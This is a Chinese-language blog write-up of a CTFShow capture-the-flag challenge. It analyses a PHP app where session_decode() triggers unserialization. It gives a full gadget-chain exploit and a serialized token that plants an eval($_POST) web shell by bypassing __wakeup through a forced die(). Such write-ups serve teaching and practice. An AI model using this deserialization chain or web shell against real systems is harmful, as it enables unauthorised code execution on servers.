ctfshow红包9

文章讲述了作者通过分析CTFShow的源码,发现了一个利用PHP反序列化功能执行恶意代码的漏洞。通过构造特定的token和payload,利用`userLogger`类中的异常处理机制,成功绕过`wakeup`函数,实现了命令执行。
摘要由CSDN通过智能技术生成

ctfshow红包9

只能说非常之侥幸,ctfshow改不了名字,所现在用的还是wws
在这里插入图片描述

源码分析

源码太多了就不发了,看到源码一堆类,应该是需要反序列化了,看一下关键部分common.php的getLoginName函数,发现有一个session_decode()

在这里插入图片描述

去看了一下session_decode的用法,结果如下

在这里插入图片描述

这里就想到如果我把后面内容换成类,那么是不是可以触发反序列化呢?

在这里插入图片描述

问了一下chatgpt,然后在远端试了一下,确实如此

触发条件

触发条件是没有data且存在get参数token(详见上面截图),溯源一下,发现这个函数在templates/main.php中被引用

在这里插入图片描述

这里我们继续溯源,发现在index.php存在这样一段代码

在这里插入图片描述

分析上面的switch case,我们可以得到这里的action需要为main

所以我们需要做的就是让action为main并传入一个token值(格式为user|xxxxxx)

userLogger类分析

class userLogger{

    public $username;
    private $password;
    private $filename;

    public function __construct(){
        $this->filename = "log.txt_$this->username-$this->password";
    }
    public function setLogFileName($filename){
        $this->filename = $filename;
    }

    public function __wakeup(){
        $this->filename = "log.txt";
    }
    public function user_register($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_login($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_logout(){
        $data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function __destruct(){
        $data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename,$data,FILE_APPEND);
        
    }
}

简单分析一下可以得到基本思路,用用户名或者密码写shell,通过修改“日志”的名称执行php代码,进而命令执行,但是这里就遇到了一个问题,我们在反序列化时会先调用wakeup函数,而wakeup会将“日志”重命名为log.txt,所以这里就必须得绕过了,试过了CVE 2016-7124,没用,也试过将filename引用username的值,但引用之后两个都会被wakeup覆盖,具体实验流程我就不写了。

这里想到了前几个月做过的一道题,tostring触发了异常导致无法触发destruct,哦吼?那是不是也可以触发异常导致没法wakeup?然后又对userLogger类进了溯源

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

分析图一的代码,就可以发现这个debug非常的奇怪,跟踪发现是用来触发图二的log_last_user函数,继续对函数进行跟踪可以发现图三的代码,大致是数据库连接用的,发现了什么?发现有die,哦吼?那是不是只要触发了这个异常就可以不执行wakeup呢?payload如下

<?php
class mysql_helper{
    private $db;
}
class application{
    public $loger;
    public $debug=true;
    public $mysql;
    public function __construct(){
        $this->loger = new userLogger();
        $this->mysql = new mysql_helper();
        }
    }
class userLogger{

        public $username='<?php eval($_POST[chuling]); ?>';
        public $password="name";
        public $filename="2.php";
        }
 $a = new application();
echo serialize($a);

我这里运行后username中的代码没法显示,得手动添加,加完直接传,记得fast_destruct

token=user|O:11:"application":3:{s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:31:"<?php eval($_POST[chuling]); ?>";s:8:"password";s:4:"name";s:8:"filename";s:5:"3.php";}s:5:"debug";b:1;s:5:"mysql";O:12:"mysql_helper":1:{s:16:"mysql_helperdb";N;}}

结果如下:
在这里插入图片描述

在这里插入图片描述

已经可以命令执行了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值